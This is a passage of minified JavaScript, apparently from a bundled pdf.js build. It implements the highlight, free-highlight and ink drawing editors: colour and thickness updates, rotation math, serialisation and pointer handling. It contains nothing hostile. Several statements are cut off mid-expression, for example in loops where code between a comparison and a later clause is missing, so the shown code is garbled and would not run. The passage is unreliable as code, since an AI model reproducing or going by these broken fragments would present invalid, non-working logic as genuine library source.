s=2;s-1?(g(this,He,!0),A(this,yt,Kg).call(this,t),A(this,yt,vo).call(this)):a(this,us)&&(g(this,zu,t.anchorNode),g(this,sp,t.anchorOffset),g(this,op,t.focusNode),g(this,lp,t.focusOffset),A(this,yt,Jy).call(this),A(this,yt,vo).call(this),this.rotate(this.rotation)),this.annotationElementId||this._uiManager.a11yAlert("pdfjs-editor-highlight-added-alert")}static get _keyboardManager(){const t=Ft.prototype;return dt(this,"_keyboardManager",new ag([[["ArrowLeft","mac+ArrowLeft"],t._moveCaret,{args:[0]}],[["ArrowRight","mac+ArrowRight"],t._moveCaret,{args:[1]}],[["ArrowUp","mac+ArrowUp"],t._moveCaret,{args:[2]}],[["ArrowDown","mac+ArrowDown"],t._moveCaret,{args:[3]}]]))}get telemetryInitialData(){return{action:"added",type:a(this,He)?"free_highlight":"highlight",color:this._uiManager.getNonHCMColorName(this.color),thickness:a(this,dr),methodOfCreation:a(this,hp)}}get telemetryFinalData(){return{type:"highlight",color:this._uiManager.getNonHCMColorName(this.color)}}static computeTelemetryFinalData(t){return{numberOfColors:t.get("color").size}}static initialize(t,n){var r;Gt.initialize(t,n),Ft._defaultColor||(Ft._defaultColor=((r=n.highlightColors)==null?void 0:r.values().next().value)||"#fff066")}static updateDefaultParams(t,n){switch(t){case gt.HIGHLIGHT_COLOR:Ft._defaultColor=n;break;case gt.HIGHLIGHT_THICKNESS:Ft._defaultThickness=n;break}}translateInPage(t,n){}get toolbarPosition(){return a(this,Xu)}get commentButtonPosition(){return a(this,Gu)}updateParams(t,n){switch(t){case gt.HIGHLIGHT_COLOR:A(this,yt,VE).call(this,n);break;case gt.HIGHLIGHT_THICKNESS:A(this,yt,WE).call(this,n);break}}static get defaultPropertiesToUpdate(){return[[gt.HIGHLIGHT_COLOR,Ft._defaultColor],[gt.HIGHLIGHT_THICKNESS,Ft._defaultThickness]]}get propertiesToUpdate(){return[[gt.HIGHLIGHT_COLOR,this.color||Ft._defaultColor],[gt.HIGHLIGHT_THICKNESS,a(this,dr)||Ft._defaultThickness],[gt.HIGHLIGHT_FREE,a(this,He)]]}onUpdatedColor(){var t,n;(t=this.parent)==null||t.drawLayer.updateProperties(a(this,Wn),{root:{fill:this.color,"fill-opacity":this.opacity}}),(n=a(this,ap))==null||n.updateColor(this.color),super.onUpdatedColor()}get toolbarButtons(){return this._uiManager.highlightColors?[["colorPicker",g(this,ap,new dE({editor:this}))]]:super.toolbarButtons}disableEditing(){super.disableEditing(),this.div.classList.toggle("disabled",!0)}enableEditing(){super.enableEditing(),this.div.classList.toggle("disabled",!1)}fixAndSetPosition(){return super.fixAndSetPosition(A(this,yt,Zg).call(this))}getBaseTranslation(){return[0,0]}getRect(t,n){return super.getRect(t,n,A(this,yt,Zg).call(this))}onceAdded(t){this.annotationElementId||this.parent.addUndoableEditor(this),t&&this.div.focus()}remove(){A(this,yt,Zy).call(this),this._reportTelemetry({action:"deleted"}),super.remove()}rebuild(){this.parent&&(super.rebuild(),this.div!==null&&(A(this,yt,vo).call(this),this.isAttachedToDOM||this.parent.add(this)))}setParent(t){var r;let n=!1;this.parent&&!t?A(this,yt,Zy).call(this):t&&(A(this,yt,vo).call(this,t),n=!this.parent&&((r=this.div)==null?void 0:r.classList.contains("selectedEditor"))),super.setParent(t),this.show(this._isVisible),n&&this.select()}rotate(t){var i,s,o;const{drawLayer:n}=this.parent;let r;a(this,He)?(t=(t-this.rotation+360)%360,r=A(i=Ft,br,xh).call(i,a(this,Vn).box,t)):r=A(s=Ft,br,xh).call(s,[this.x,this.y,this.width,this.height],t),n.updateProperties(a(this,Wn),{bbox:r,root:{"data-main-rotation":t}}),n.updateProperties(a(this,qe),{bbox:A(o=Ft,br,xh).call(o,a(this,En).box,t),root:{"data-main-rotation":t}})}render(){if(this.div)return this.div;const t=super.render();a(this,_u)&&(t.setAttribute("aria-label",a(this,_u)),t.setAttribute("role","mark")),a(this,He)?t.classList.add("free"):this.div.addEventListener("keydown",A(this,yt,GE).bind(this),{signal:this._uiManager._signal});const n=g(this,Ml,document.createElement("div"));return t.append(n),n.setAttribute("aria-hidden","true"),n.className="internal",n.style.clipPath=a(this,Ol),this.setDims(),eA(this,a(this,Ml),["pointerover","pointerleave"]),this.enableEditing(),t}pointerover(){var t;this.isSelected||(t=this.parent)==null||t.drawLayer.updateProperties(a(this,qe),{rootClass:{hovered:!0}})}pointerleave(){var t;this.isSelected||(t=this.parent)==null||t.drawLayer.updateProperties(a(this,qe),{rootClass:{hovered:!1}})}_moveCaret(t){switch(this.parent.unselect(this),t){case 0:case 2:A(this,yt,Jg).call(this,!0);break;case 1:case 3:A(this,yt,Jg).call(this,!1);break}}select(){var t;super.select(),a(this,qe)&&((t=this.parent)==null||t.drawLayer.updateProperties(a(this,qe),{rootClass:{hovered:!1,selected:!0}}))}unselect(){var t;super.unselect(),a(this,qe)&&((t=this.parent)==null||t.drawLayer.updateProperties(a(this,qe),{rootClass:{selected:!1}}),a(this,He)||A(this,yt,Jg).call(this,!1))}get _mustFixPosition(){return!a(this,He)}show(t=this._isVisible){super.show(t),this.parent&&(this.parent.drawLayer.updateProperties(a(this,Wn),{rootClass:{hidden:!t}}),this.parent.drawLayer.updateProperties(a(this,qe),{rootClass:{hidden:!t}}))}static startHighlighting(t,n,{target:r,x:i,y:s}){const{x:o,y:l,width:u,height:c}=r.getBoundingClientRect(),d=new AbortController,f=t.combinedSignal(d),p=m=>{d.abort(),A(this,br,KE).call(this,t,m)};window.addEventListener("blur",p,{signal:f}),window.addEventListener("pointerup",p,{signal:f}),window.addEventListener("pointerdown",ee,{capture:!0,passive:!1,signal:f}),window.addEventListener("contextmenu",Er,{signal:f}),r.addEventListener("pointermove",A(this,br,YE).bind(this,t),{signal:f}),this._freeHighlight=new Ky({x:i,y:s},[o,l,u,c],t.scale,this._defaultThickness/2,n,.001),{id:this._freeHighlightId,clipPathId:this._freeHighlightClipId}=t.drawLayer.draw({bbox:[0,0,1,1],root:{viewBox:"0 0 1 1",fill:this._defaultColor,"fill-opacity":this._defaultOpacity},rootClass:{highlight:!0,free:!0},path:{d:this._freeHighlight.toSVGPath()}},!0,!0)}static async deserialize(t,n,r){var y,E,S,w;let i=null;if(t instanceof xE){const{data:{quadPoints:C,rect:x,rotation:T,id:I,color:F,opacity:P,popupRef:R,richText:D,contentsObj:k,creationDate:N,modificationDate:H},parent:{page:{pageNumber:X}}}=t;i=t={annotationType:ct.HIGHLIGHT,color:Array.from(F),opacity:P,quadPoints:C,boxes:null,pageIndex:X-1,rect:x.slice(0),rotation:T,annotationElementId:I,id:I,deleted:!1,popupRef:R,richText:D,comment:(k==null?void 0:k.str)||null,creationDate:N,modificationDate:H}}else if(t instanceof ub){const{data:{inkLists:C,rect:x,rotation:T,id:I,color:F,borderStyle:{rawWidth:P},popupRef:R,richText:D,contentsObj:k,creationDate:N,modificationDate:H},parent:{page:{pageNumber:X}}}=t;i=t={annotationType:ct.HIGHLIGHT,color:Array.from(F),thickness:P,inkLists:C,boxes:null,pageIndex:X-1,rect:x.slice(0),rotation:T,annotationElementId:I,id:I,deleted:!1,popupRef:R,richText:D,comment:(k==null?void 0:k.str)||null,creationDate:N,modificationDate:H}}const{color:s,quadPoints:o,inkLists:l,outlines:u,opacity:c}=t,d=await super.deserialize(t,n,r);d.color=_.makeHexColor(...s),d.opacity=c||1,l&&g(d,dr,t.thickness),d._initialData=i,t.comment&&d.setCommentData(t);const[f,p]=d.pageDimensions,[m,v]=d.pageTranslation;if(o){const C=g(d,us,[]);for(let x=0;x=0)g(this,Wn,n),g(this,Ol,r),this.parent.drawLayer.finalizeDraw(n,{bbox:t.box,path:{d:t.toSVGPath()}}),g(this,qe,this.parent.drawLayer.drawOutline({rootClass:{highlightOutline:!0,free:!0},bbox:a(this,En).box,path:{d:a(this,En).toSVGPath()}},!0));else if(this.parent){const m=this.parent.viewport.rotation;this.parent.drawLayer.updateProperties(a(this,Wn),{bbox:A(f=Ft,br,xh).call(f,a(this,Vn).box,(m-this.rotation+360)%360),path:{d:t.toSVGPath()}}),this.parent.drawLayer.updateProperties(a(this,qe),{bbox:A(p=Ft,br,xh).call(p,a(this,En).box,m),path:{d:a(this,En).toSVGPath()}})}const[s,o,l,u]=t.box;switch(this.rotation){case 0:this.x=s,this.y=o,this.width=l,this.height=u;break;case 90:{const[m,v]=this.parentDimensions;this.x=o,this.y=1-s,this.width=l*v/m,this.height=u*m/v;break}case 180:this.x=1-s,this.y=1-o,this.width=l,this.height=u;break;case 270:{const[m,v]=this.parentDimensions;this.x=1-o,this.y=s,this.width=l*v/m,this.height=u*m/v;break}}const{firstPoint:c}=t;g(this,Gu,[(c[0]-s)/l,(c[1]-o)/u]);const{lastPoint:d}=a(this,En);g(this,Xu,[(d[0]-s)/l,(d[1]-o)/u])},VE=function(t){const n=(s,o)=>{this.color=s,this.opacity=o,this.onUpdatedColor()},r=this.color,i=this.opacity;this.addCommands({cmd:n.bind(this,t,Ft._defaultOpacity),undo:n.bind(this,r,i),post:this._uiManager.updateUI.bind(this._uiManager,this),mustExec:!0,type:gt.HIGHLIGHT_COLOR,overwriteIfSameType:!0,keepUndo:!0}),this._reportTelemetry({action:"color_changed",color:this._uiManager.getNonHCMColorName(t)},!0)},WE=function(t){const n=a(this,dr),r=i=>{g(this,dr,i),A(this,yt,zE).call(this,i)};this.addCommands({cmd:r.bind(this,t),undo:r.bind(this,n),post:this._uiManager.updateUI.bind(this._uiManager,this),mustExec:!0,type:gt.INK_THICKNESS,overwriteIfSameType:!0,keepUndo:!0}),this._reportTelemetry({action:"thickness_changed",thickness:t},!0)},zE=function(t){a(this,He)&&(A(this,yt,Kg).call(this,{highlightOutlines:a(this,Vn).getNewOutline(t/2)}),this.fixAndSetPosition(),this.setDims())},Zy=function(){a(this,Wn)===null||!this.parent||(this.parent.drawLayer.remove(a(this,Wn)),g(this,Wn,null),this.parent.drawLayer.remove(a(this,qe)),g(this,qe,null))},vo=function(t=this.parent){a(this,Wn)===null&&({id:ie(this,Wn)._,clipPathId:ie(this,Ol)._}=t.drawLayer.draw({bbox:a(this,Vn).box,root:{viewBox:"0 0 1 1",fill:this.color,"fill-opacity":this.opacity},rootClass:{highlight:!0,free:a(this,He)},path:{d:a(this,Vn).toSVGPath()}},!1,!0),g(this,qe,t.drawLayer.drawOutline({rootClass:{highlightOutline:!0,free:a(this,He)},bbox:a(this,En).box,path:{d:a(this,En).toSVGPath()}},a(this,He))),a(this,Ml)&&(a(this,Ml).style.clipPath=a(this,Ol)))},br=new WeakSet,xh=function([t,n,r,i],s){switch(s){case 90:return[1-n-i,t,i,r];case 180:return[1-t-r,1-n-i,r,i];case 270:return[n,1-t-r,i,r]}return[t,n,r,i]},GE=function(t){Ft._keyboardManager.exec(this,t)},Jg=function(t){if(!a(this,zu))return;const n=window.getSelection();t?n.setPosition(a(this,zu),a(this,sp)):n.setPosition(a(this,op),a(this,lp))},Zg=function(){return a(this,He)?this.rotation:0},XE=function(){if(a(this,He))return null;const[t,n]=this.pageDimensions,[r,i]=this.pageTranslation,s=a(this,us),o=new Float32Array(s.length*8);let l=0;for(const{x:u,y:c,width:d,height:f}of s){const p=u*t+r,m=(1-c)*n+i;o[l]=o[l+4]=p,o[l+1]=o[l+3]=m,o[l+2]=o[l+6]=p+d*t,o[l+5]=o[l+7]=m-f*n,l+=8}return o},_E=function(t){return a(this,Vn).serialize(t,A(this,yt,Zg).call(this))},YE=function(t,n){this._freeHighlight.add(n)&&t.drawLayer.updateProperties(this._freeHighlightId,{path:{d:this._freeHighlight.toSVGPath()}})},KE=function(t,n){this._freeHighlight.isEmpty()?t.drawLayer.remove(this._freeHighlightId):t.createAndAddNewEditor(n,!1,{highlightId:this._freeHighlightId,highlightOutlines:this._freeHighlight.getOutlines(),clipPathId:this._freeHighlightClipId,methodOfCreation:"main_toolbar"}),this._freeHighlightId=-1,this._freeHighlight=null,this._freeHighlightClipId=""},JE=function(t){const{color:n}=this._initialData;return this.hasEditedComment||t.color.some((r,i)=>r!==n[i])},b(Ft,br),M(Ft,"_defaultColor",null),M(Ft,"_defaultOpacity",1),M(Ft,"_defaultThickness",12),M(Ft,"_type","highlight"),M(Ft,"_editorType",ct.HIGHLIGHT),M(Ft,"_freeHighlightId",-1),M(Ft,"_freeHighlight",null),M(Ft,"_freeHighlightClipId","");let Pm=Ft;var Ll;class ZE{constructor(){b(this,Ll,Object.create(null))}updateProperty(e,t){this[e]=t,this.updateSVGProperty(e,t)}updateProperties(e){if(e)for(const[t,n]of Object.entries(e))t.startsWith("_")||this.updateProperty(t,n)}updateSVGProperty(e,t){a(this,Ll)[e]=t}toSVGProperties(){const e=a(this,Ll);return g(this,Ll,Object.create(null)),{root:e}}reset(){g(this,Ll,Object.create(null))}updateAll(e=this){this.updateProperties(e)}clone(){Ot("Not implemented")}}Ll=new WeakMap;var ln,Yu,Fe,Nl,Bl,Pt,Qy,qy,t0,od,QE,Qg,ld,Sh;const xt=class xt extends Gt{constructor(t){super(t);b(this,Pt);b(this,ln,null);b(this,Yu);M(this,"_colorPicker",null);M(this,"_drawId",null);g(this,Yu,t.mustBeCommitted||!1),this._addOutlines(t)}onUpdatedColor(){var t;(t=this._colorPicker)==null||t.update(this.color),super.onUpdatedColor()}onUpdatedOpacity(){var t,n;(n=(t=this._colorPicker)==null?void 0:t.updateOpacity)==null||n.call(t,this.opacity)}_addOutlines(t){t.drawOutlines&&(A(this,Pt,Qy).call(this,t),A(this,Pt,od).call(this))}static _mergeSVGProperties(t,n){const r=new Set(Object.keys(t));for(const[i,s]of Object.entries(n))r.has(i)?Object.assign(t[i],s):t[i]=s;return t}static getDefaultDrawingOptions(t){Ot("Not implemented")}static get typesMap(){Ot("Not implemented")}static get isDrawer(){return!0}static get supportMultipleDrawings(){return!1}static updateDefaultParams(t,n){const r=this.typesMap.get(t);r&&this._defaultDrawingOptions.updateProperty(r,n),this._currentParent&&(a(xt,Fe).updateProperty(r,n),this._currentParent.drawLayer.updateProperties(this._currentDrawId,this._defaultDrawingOptions.toSVGProperties()))}updateParams(t,n){const r=this.constructor.typesMap.get(t);r&&this._updateProperty(t,r,n)}static get defaultPropertiesToUpdate(){const t=[],n=this._defaultDrawingOptions;for(const[r,i]of this.typesMap)t.push([r,n[i]]);return t}get propertiesToUpdate(){const t=[],{_drawingOptions:n}=this;for(const[r,i]of this.constructor.typesMap)t.push([r,n[i]]);return t}_updateProperty(t,n,r){const i=this._drawingOptions,s=i[n],o=l=>{var c;i.updateProperty(n,l);const u=a(this,ln).updateProperty(n,l);u&&A(this,Pt,ld).call(this,u),(c=this.parent)==null||c.drawLayer.updateProperties(this._drawId,i.toSVGProperties()),t===this.colorType?this.onUpdatedColor():t===this.opacityType&&this.onUpdatedOpacity()};this.addCommands({cmd:o.bind(this,r),undo:o.bind(this,s),post:this._uiManager.updateUI.bind(this._uiManager,this),mustExec:!0,type:t,overwriteIfSameType:!0,keepUndo:!0})}_updateColorAndOpacity(t,n){const r=this.constructor.typesMap.get(this.colorType),i=this.constructor.typesMap.get(this.opacityType),s=this._drawingOptions,o=s[r],l=s[i],u=(c,d)=>{var f;s.updateProperty(r,c),s.updateProperty(i,d),a(this,ln).updateProperty(r,c),a(this,ln).updateProperty(i,d),(f=this.parent)==null||f.drawLayer.updateProperties(this._drawId,s.toSVGProperties()),this.onUpdatedColor(),this.onUpdatedOpacity()};this.addCommands({cmd:u.bind(this,t,n),undo:u.bind(this,o,l),post:this._uiManager.updateUI.bind(this._uiManager,this),mustExec:!0,type:gt.INK_COLOR_AND_OPACITY,overwriteIfSameType:!0,keepUndo:!0})}_onResizing(){var t;(t=this.parent)==null||t.drawLayer.updateProperties(this._drawId,xt._mergeSVGProperties(a(this,ln).getPathResizingSVGProperties(A(this,Pt,Qg).call(this)),{bbox:A(this,Pt,Sh).call(this)}))}_onResized(){var t;(t=this.parent)==null||t.drawLayer.updateProperties(this._drawId,xt._mergeSVGProperties(a(this,ln).getPathResizedSVGProperties(A(this,Pt,Qg).call(this)),{bbox:A(this,Pt,Sh).call(this)}))}_onTranslating(t,n){var r;(r=this.parent)==null||r.drawLayer.updateProperties(this._drawId,{bbox:A(this,Pt,Sh).call(this)})}_onTranslated(){var t;(t=this.parent)==null||t.drawLayer.updateProperties(this._drawId,xt._mergeSVGProperties(a(this,ln).getPathTranslatedSVGProperties(A(this,Pt,Qg).call(this),this.parentDimensions),{bbox:A(this,Pt,Sh).call(this)}))}_onStartDragging(){var t;(t=this.parent)==null||t.drawLayer.updateProperties(this._drawId,{rootClass:{moving:!0}})}_onStopDragging(){var t;(t=this.parent)==null||t.drawLayer.updateProperties(this._drawId,{rootClass:{moving:!1}})}commit(){super.commit(),this.disableEditMode(),this.disableEditing()}disableEditing(){super.disableEditing(),this.div.classList.toggle("disabled",!0)}enableEditing(){super.enableEditing(),this.div.classList.toggle("disabled",!1)}getBaseTranslation(){return[0,0]}get isResizable(){return!0}onceAdded(t){this.annotationElementId||this.parent.addUndoableEditor(this),this._isDraggable=!0,a(this,Yu)&&(g(this,Yu,!1),this.commit(),this.parent.setSelected(this),t&&this.isOnScreen&&this.div.focus())}remove(){A(this,Pt,t0).call(this),super.remove()}rebuild(){this.parent&&(super.rebuild(),this.div!==null&&(A(this,Pt,od).call(this),A(this,Pt,ld).call(this,a(this,ln).box),this.isAttachedToDOM||this.parent.add(this)))}setParent(t){var r;let n=!1;this.parent&&!t?(this._uiManager.removeShouldRescale(this),A(this,Pt,t0).call(this)):t&&(this._uiManager.addShouldRescale(this),A(this,Pt,od).call(this,t),n=!this.parent&&((r=this.div)==null?void 0:r.classList.contains("selectedEditor"))),super.setParent(t),n&&this.select()}rotate(){this.parent&&this.parent.drawLayer.updateProperties(this._drawId,xt._mergeSVGProperties({bbox:A(this,Pt,Sh).call(this)},a(this,ln).updateRotation((this.parentRotation-this.rotation+360)%360)))}onScaleChanging(){this.parent&&A(this,Pt,ld).call(this,a(this,ln).updateParentDimensions(this.parentDimensions,this.parent.scale))}static onScaleChangingWhenDrawing(){}render(){if(this.div)return this.div;let t,n;this._isCopy&&(t=this.x,n=this.y);const r=super.render();r.classList.add("draw");const i=document.createElement("div");return r.append(i),i.setAttribute("aria-hidden","true"),i.className="internal",this.setDims(),this._uiManager.addShouldRescale(this),this.disableEditing(),this._isCopy&&this._moveAfterPaste(t,n),r}static createDrawerInstance(t,n,r,i,s){Ot("Not implemented")}static startDrawing(t,n,r,i){var y;const{target:s,offsetX:o,offsetY:l,pointerId:u,pointerType:c}=i;if(Ke.isInitializedAndDifferentPointerType(c))return;const{viewport:{rotation:d}}=t,{width:f,height:p}=s.getBoundingClientRect(),m=g(xt,Nl,new AbortController),v=t.combinedSignal(m);if(Ke.setPointer(c,u),window.addEventListener("pointerup",E=>{Ke.isSamePointerIdOrRemove(E.pointerId)&&this._endDraw(E)},{signal:v}),window.addEventListener("pointercancel",E=>{Ke.isSamePointerIdOrRemove(E.pointerId)&&this._currentParent.endDrawingSession()},{signal:v}),window.addEventListener("pointerdown",E=>{Ke.isSamePointerType(E.pointerType)&&(Ke.initializeAndAddPointerId(E.pointerId),a(xt,Fe).isCancellable()&&(a(xt,Fe).removeLastElement(),a(xt,Fe).isEmpty()?this._currentParent.endDrawingSession(!0):this._endDraw(null)))},{capture:!0,passive:!1,signal:v}),window.addEventListener("contextmenu",Er,{signal:v}),s.addEventListener("pointermove",this._drawMove.bind(this),{signal:v}),s.addEventListener("touchmove",E=>{Ke.isSameTimeStamp(E.timeStamp)&&ee(E)},{signal:v}),t.toggleDrawing(),(y=n._editorUndoBar)==null||y.hide(),a(xt,Fe)){t.drawLayer.updateProperties(this._currentDrawId,a(xt,Fe).startNew(o,l,f,p,d));return}n.updateUIForDefaultProperties(this),g(xt,Fe,this.createDrawerInstance(o,l,f,p,d)),g(xt,Bl,this.getDefaultDrawingOptions()),this._currentParent=t,{id:this._currentDrawId}=t.drawLayer.draw(this._mergeSVGProperties(a(xt,Bl).toSVGProperties(),a(xt,Fe).defaultSVGProperties),!0,!1)}static _drawMove(t){if(Ke.isSameTimeStamp(t.timeStamp),!a(xt,Fe))return;const{offsetX:n,offsetY:r,pointerId:i}=t;if(Ke.isSamePointerId(i)){if(Ke.isUsingMultiplePointers()){this._endDraw(t);return}this._currentParent.drawLayer.updateProperties(this._currentDrawId,a(xt,Fe).add(n,r)),Ke.setTimeStamp(t.timeStamp),ee(t)}}static _cleanup(t){t&&(this._currentDrawId=-1,this._currentParent=null,g(xt,Fe,null),g(xt,Bl,null),Ke.clearTimeStamp()),a(xt,Nl)&&(a(xt,Nl).abort(),g(xt,Nl,null),Ke.clearPointerIds())}static _endDraw(t){const n=this._currentParent;if(n){if(n.toggleDrawing(!0),this._cleanup(!1),(t==null?void 0:t.target)===n.div&&n.drawLayer.updateProperties(this._currentDrawId,a(xt,Fe).end(t.offsetX,t.offsetY)),this.supportMultipleDrawings){const r=a(xt,Fe),i=this._currentDrawId,s=r.getLastElement();n.addCommands({cmd:()=>{n.drawLayer.updateProperties(i,r.setLastElement(s))},undo:()=>{n.drawLayer.updateProperties(i,r.removeLastElement())},mustExec:!1,type:gt.DRAW_STEP});return}this.endDrawing(!1)}}static endDrawing(t){const n=this._currentParent;if(!n)return null;if(n.toggleDrawing(!0),n.cleanUndoStack(gt.DRAW_STEP),!a(xt,Fe).isEmpty()){const{pageDimensions:[r,i],scale:s}=n,o=n.createAndAddNewEditor({offsetX:0,offsetY:0},!1,{drawId:this._currentDrawId,drawOutlines:a(xt,Fe).getOutlines(r*s,i*s,s,this._INNER_MARGIN),drawingOptions:a(xt,Bl),mustBeCommitted:!t});return this._cleanup(!0),o}return n.drawLayer.remove(this._currentDrawId),this._cleanup(!0),null}createDrawingOptions(t){}static deserializeDraw(t,n,r,i,s,o){Ot("Not implemented")}static async deserialize(t,n,r){var d,f;const{rawDims:{pageWidth:i,pageHeight:s,pageX:o,pageY:l}}=n.viewport,u=this.deserializeDraw(o,l,i,s,this._INNER_MARGIN,t),c=await super.deserialize(t,n,r);return c.createDrawingOptions(t),A(d=c,Pt,Qy).call(d,{drawOutlines:u}),A(f=c,Pt,od).call(f),c.onScaleChanging(),c.rotate(),c}serializeDraw(t){const[n,r]=this.pageTranslation,[i,s]=this.pageDimensions;return a(this,ln).serialize([n,r,i,s],t)}renderAnnotationElement(t){return t.updateEdited({rect:this.getPDFRect()}),null}static canCreateNewEmptyEditor(){return!1}};ln=new WeakMap,Yu=new WeakMap,Fe=new WeakMap,Nl=new WeakMap,Bl=new WeakMap,Pt=new WeakSet,Qy=function({drawOutlines:t,drawId:n,drawingOptions:r}){g(this,ln,t),this._drawingOptions||(this._drawingOptions=r),this.annotationElementId||this._uiManager.a11yAlert(`pdfjs-editor-${this.editorType}-added-alert`),n>=0?(this._drawId=n,this.parent.drawLayer.finalizeDraw(n,t.defaultProperties)):this._drawId=A(this,Pt,qy).call(this,t,this.parent),A(this,Pt,ld).call(this,t.box)},qy=function(t,n){const{id:r}=n.drawLayer.draw(xt._mergeSVGProperties(this._drawingOptions.toSVGProperties(),t.defaultSVGProperties),!1,!1);return r},t0=function(){this._drawId===null||!this.parent||(this.parent.drawLayer.remove(this._drawId),this._drawId=null,this._drawingOptions.reset())},od=function(t=this.parent){if(!(this._drawId!==null&&this.parent===t)){if(this._drawId!==null){this.parent.drawLayer.updateParent(this._drawId,t.drawLayer);return}this._drawingOptions.updateAll(),this._drawId=A(this,Pt,qy).call(this,a(this,ln),t)}},QE=function([t,n,r,i]){const{parentDimensions:[s,o],rotation:l}=this;switch(l){case 90:return[n,1-t,r*(o/s),i*(s/o)];case 180:return[1-t,1-n,r,i];case 270:return[1-n,t,r*(o/s),i*(s/o)];default:return[t,n,r,i]}},Qg=function(){const{x:t,y:n,width:r,height:i,parentDimensions:[s,o],rotation:l}=this;switch(l){case 90:return[1-n,t,r*(s/o),i*(o/s)];case 180:return[1-t,1-n,r,i];case 270:return[n,1-t,r*(s/o),i*(o/s)];default:return[t,n,r,i]}},ld=function(t){[this.x,this.y,this.width,this.height]=A(this,Pt,QE).call(this,t),this.div&&(this.fixAndSetPosition(),this.setDims()),this._onResized()},Sh=function(){const{x:t,y:n,width:r,height:i,rotation:s,parentRotation:o,parentDimensions:[l,u]}=this;switch((s*4+o)/90){case 1:return[1-n-i,t,i,r];case 2:return[1-t-r,1-n-i,r,i];case 3:return[n,1-t-r,i,r];case 4:return[t,n-r*(l/u),i*(u/l),r*(l/u)];case 5:return[1-n,t,r*(l/u),i*(u/l)];case 6:return[1-t-i*(u/l),1-n,i*(u/l),r*(l/u)];case 7:return[n-r*(l/u),1-t-i*(u/l),r*(l/u),i*(u/l)];case 8:return[t-r,n-i,r,i];case 9:return[1-n,t-r,i,r];case 10:return[1-t,1-n,r,i];case 11:return[n-i,1-t,i,r];case 12:return[t-i*(u/l),n,i*(u/l),r*(l/u)];case 13:return[1-n-r*(l/u),t-i*(u/l),r*(l/u),i*(u/l)];case 14:return[1-t,1-n-r*(l/u),i*(u/l),r*(l/u)];case 15:return[n,1-t,r*(l/u),i*(u/l)];default:return[t,n,r,i]}},M(xt,"_currentDrawId",-1),M(xt,"_currentParent",null),b(xt,Fe,null),b(xt,Nl,null),b(xt,Bl,null),M(xt,"_INNER_MARGIN",3);let Im=xt;var hi,De,Oe,kl,Ku,hn,Ve,fr,jl,Ul,$l,Ju,qg;class DC{constructor(e,t,n,r,i,s){b(this,Ju);b(this,hi,new Float64Array(6));b(this,De);b(this,Oe);b(this,kl);b(this,Ku);b(this,hn);b(this,Ve,"");b(this,fr,0);b(this,jl,new og);b(this,Ul);b(this,$l);g(this,Ul,n),g(this,$l,r),g(this,kl,i),g(this,Ku,s),[e,t]=A(this,Ju,qg).call(this,e,t);const o=g(this,De,[NaN,NaN,NaN,NaN,e,t]);g(this,hn,[e,t]),g(this,Oe,[{line:o,points:a(this,hn)}]),a(this,hi).set(o,0)}updateProperty(e,t){e==="stroke-width"&&g(this,Ku,t)}isEmpty(){return!a(this,Oe)||a(this,Oe).length===0}isCancellable(){return a(this,hn).length<=10}add(e,t){[e,t]=A(this,Ju,qg).call(this,e,t);const[n,r,i,s]=a(this,hi).subarray(2,6),o=e-i,l=t-s;return Math.hypot(a(this,Ul)*o,a(this,$l)*l)<=2?null:(a(this,hn).push(e,t),isNaN(n)?(a(this,hi).set([i,s,e,t],2),a(this,De).push(NaN,NaN,NaN,NaN,e,t),{path:{d:this.toSVGPath()}}):(isNaN(a(this,hi)[0])&&a(this,De).splice(6,6),a(this,hi).set([n,r,i,s,e,t],0),a(this,De).push(...q.createBezierPoints(n,r,i,s,e,t)),{path:{d:this.toSVGPath()}}))}end(e,t){const n=this.add(e,t);return n||(a(this,hn).length===2?{path:{d:this.toSVGPath()}}:null)}startNew(e,t,n,r,i){g(this,Ul,n),g(this,$l,r),g(this,kl,i),[e,t]=A(this,Ju,qg).call(this,e,t);const s=g(this,De,[NaN,NaN,NaN,NaN,e,t]);g(this,hn,[e,t]);const o=a(this,Oe).at(-1);return o&&(o.line=new Float32Array(o.line),o.points=new Float32Array(o.points)),a(this,Oe).push({line:s,points:a(this,hn)}),a(this,hi).set(s,0),g(this,fr,0),this.toSVGPath(),null}getLastElement(){return a(this,Oe).at(-1)}setLastElement(e){return a(this,Oe)?(a(this,Oe).push(e),g(this,De,e.line),g(this,hn,e.points),g(this,fr,0),{path:{d:this.toSVGPath()}}):a(this,jl).setLastElement(e)}removeLastElement(){if(!a(this,Oe))return a(this,jl).removeLastElement();a(this,Oe).pop(),g(this,Ve,"");for(let e=0,t=a(this,Oe).length;eC??NaN),f,p,m,v),points:y(l[S].map(C=>C??NaN),f,p,m,v)});const E=new this.prototype.constructor;return E.build(d,r,i,1,u,c,s),E}get box(){return a(this,un)}updateProperty(t,n){return t==="stroke-width"?A(this,Ge,ew).call(this,n):null}updateParentDimensions([t,n],r){const[i,s]=A(this,Ge,Ri).call(this);g(this,ui,t),g(this,ci,n),g(this,Zu,r);const[o,l]=A(this,Ge,Ri).call(this),u=o-i,c=l-s,d=a(this,un);return d[0]-=u,d[1]-=c,d[2]+=2*u,d[3]+=2*c,d}updateRotation(t){return g(this,up,t),{path:{transform:this.rotationTransform}}}get viewBox(){return a(this,un).map(q.svgRound).join(" ")}get defaultProperties(){const[t,n]=a(this,un);return{root:{viewBox:this.viewBox},path:{"transform-origin":`${q.svgRound(t)} ${q.svgRound(n)}`}}}get rotationTransform(){const[,,t,n]=a(this,un);let r=0,i=0,s=0,o=0,l=0,u=0;switch(a(this,up)){case 90:i=n/t,s=-t/n,l=t;break;case 180:r=-1,o=-1,l=t,u=n;break;case 270:i=-n/t,s=t/n,u=n;break;default:return""}return`matrix(${r} ${i} ${s} ${o} ${q.svgRound(l)} ${q.svgRound(u)})`}getPathResizingSVGProperties([t,n,r,i]){const[s,o]=A(this,Ge,Ri).call(this),[l,u,c,d]=a(this,un);if(Math.abs(c-s)<=q.PRECISION||Math.abs(d-o)<=q.PRECISION){const y=t+r/2-(l+c/2),E=n+i/2-(u+d/2);return{path:{"transform-origin":`${q.svgRound(t)} ${q.svgRound(n)}`,transform:`${this.rotationTransform} translate(${y} ${E})`}}}const f=(r-2*s)/(c-2*s),p=(i-2*o)/(d-2*o),m=c/r,v=d/i;return{path:{"transform-origin":`${q.svgRound(l)} ${q.svgRound(u)}`,transform:`${this.rotationTransform} scale(${m} ${v}) translate(${q.svgRound(s)} ${q.svgRound(o)}) scale(${f} ${p}) translate(${q.svgRound(-s)} 